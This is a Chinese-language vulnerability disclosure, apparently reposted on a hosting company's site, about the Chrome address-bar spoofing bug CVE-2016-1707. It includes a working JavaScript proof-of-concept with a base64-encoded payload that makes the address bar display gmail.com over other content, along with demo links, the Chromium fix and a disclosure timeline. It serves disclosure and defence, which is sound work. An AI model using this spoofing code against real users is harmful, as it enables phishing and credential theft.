Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707)

Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707),这个漏洞笔者于2016年6月报告给Google,现在把漏洞细节分享给大家。URL Spoofing漏洞可以伪造一个合法的网站地址。攻击者可以利用这个漏洞对用户发起网络钓鱼攻击。

受影响版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞详情

  1. POC:  
  2. <script>  
  3. payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=" 
  4. function pwned() {  
  5. var t = window.open('https://www.gmail.com/''aaaa');  
  6. t.document.write(atob(payload));  
  7. t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");  
  8.  
  9. </script>  
  10. <a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br> 

那么这个漏洞是如何发生的呢?笔者现在来解读一下整个代码的加载过程。首先点击click me这个链接,浏览器去打开一个name为aaaa的新窗口,这个页面去加载“https://hack.com::”,这个地址可以随便写。500微秒后运行pwned(),在aaaa窗口打开https://www.gmail.com,当然这个URL可以为空。到现在为止,一切代码运行都很正常,接下来这段代码就是触发漏洞的核心代码。

base64加密的这段代码:

  1. base64 payload code:  
  2. <body></body>  
  3. <script>  
  4. var link = document.createElement('a');  
  5. link.href = 'https://gmail.com::' 
  6. document.body.appendChild(link);  
  7. link.click();  
  8. </script> 

接下来这段代开始在aaaa窗口页面去提交(commit)https://gmail.com::,这是一个很奇妙的事情,https://gmail.com::本是一个无效的地址,如何去被提交呢。在尝试了多种方法后,笔者发现使用a标签点击的方式可以做到(window.open/location则不可以),并且使这个无效地址处在了一个等待状态(pending status)。此时,实际Chrome是加载了about:blank(已经到了about:blank域),但在处理最后URL地址栏中的显示时,Chrome却选择了处在等待状态的https://gmail.com:: 作为最后的提交地址,加载后的https://gmail.com::在URL地址栏中会以https://gmail.com这样的方式呈现,两个::会被隐藏。此时,整个加载过程完成。一个完美的URL Spoofing漏洞就这样产生了。

Online demo:

http://xisigr.com/test/spoof/chrome/1.html

http://xisigr.com/test/spoof/chrome/2.html

如果你还没有升级版本,Chrome < v52.0.2743.82,IOS < v10,那么可以尝试运行笔者网站上的这两个DEMO。

0x02如何修复

这个漏洞最关键的地方是,Chrome允许在Web页面加载的时候,提交一个无效的地址所导致。Google也是基于此给出了补丁文件,就是在加载Web页面的时候不允许提交无效地址,如果检测到是无效地址,则直接使当前URL为about:blank。

  1. [self optOutScrollsToTopForSubviews];  
  2. // Ensure the URL is as expected (and already reported to the delegate).  
  3. - DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判断了当前URL和最后请求的URL是否相同  
  4. + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be  
  5. + // "about:blank" 
  6. + DCHECK((currentURL == _lastRegisteredRequestURL) ||  
  7. + (!_lastRegisteredRequestURL.is_valid() && //增加判断是否是一个无效的URL  
  8. + _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))  
  9. << std::endl  
  10. << "currentURL = [" << currentURL << "]" << std::endl  
  11. << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]" 
  12. // This is the point where the document's URL has actually changed, and  
  13. // pending navigation information should be applied to state information.  
  14. [self setDocumentURL:net::GURLWithNSURL([_webView URL])];  
  15. - DCHECK(_documentURL == _lastRegisteredRequestURL);  
  16.  
  17. + if (!_lastRegisteredRequestURL.is_valid() &&  
  18. + _documentURL != _lastRegisteredRequestURL) {  
  19. + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|  
  20. + // will be "about:blank" 
  21. + [[self sessionController] updatePendingEntry:_documentURL];  
  22. + }  
  23. + DCHECK(_documentURL == _lastRegisteredRequestURL ||  
  24. + (!_lastRegisteredRequestURL.is_valid() &&  
  25. + _documentURL.spec() == url::kAboutBlankURL));  
  26.  
  27. self.webStateImpl->OnNavigationCommitted(_documentURL);  
  28. [self commitPendingNavigationInfo];  
  29. if ([self currentBackForwardListItemHolder]->navigation_type() == 

0x03 披露时间

2016/6/22 报送给Google,https://bugs.chromium.org/

2016/6/22 Google确认漏洞,漏洞级别High

2016/7/14 Google确认奖励$3000

2016/7/20 Google发布安全公告,CVE-2016-1707

2016/10/2 Google公开漏洞

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/129018.html<

(0)
管理的头像管理
上一篇2025-02-25 10:14
下一篇 2025-02-25 10:15

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注